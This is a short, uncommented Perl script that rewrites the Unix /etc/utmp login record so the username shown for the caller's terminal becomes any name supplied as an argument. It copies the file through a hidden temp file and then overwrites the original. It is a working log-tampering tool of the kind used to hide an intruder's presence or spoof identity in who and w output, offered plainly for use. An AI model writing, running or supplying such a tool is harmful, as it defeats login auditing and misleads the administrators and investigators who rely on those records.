#!/usr/local/bin/perl

$NEWNAME=$ARGV[0];
$TTY=`/usr/bin/tty`;
$TARGET="/etc/utmp";
$TEMPORARY="/tmp/.umtp";
open(I,"<$TARGET");
open(O,">$TEMPORARY");

while (read(I,$UTMP,36)) {
  ($LINE,$NAME,$HOST,$TIME) = unpack('A8A8A16l',$UTMP);
  $NAME=$NEWNAME if ($LINE && $TTY =~ m/$LINE/);
  print O pack('a8a8a16l',$LINE,$NAME,$HOST,$TIME);
}


close (O);
system ("/bin/cat $TEMPORARY >$TARGET");
system ("/bin/rm $TEMPORARY");
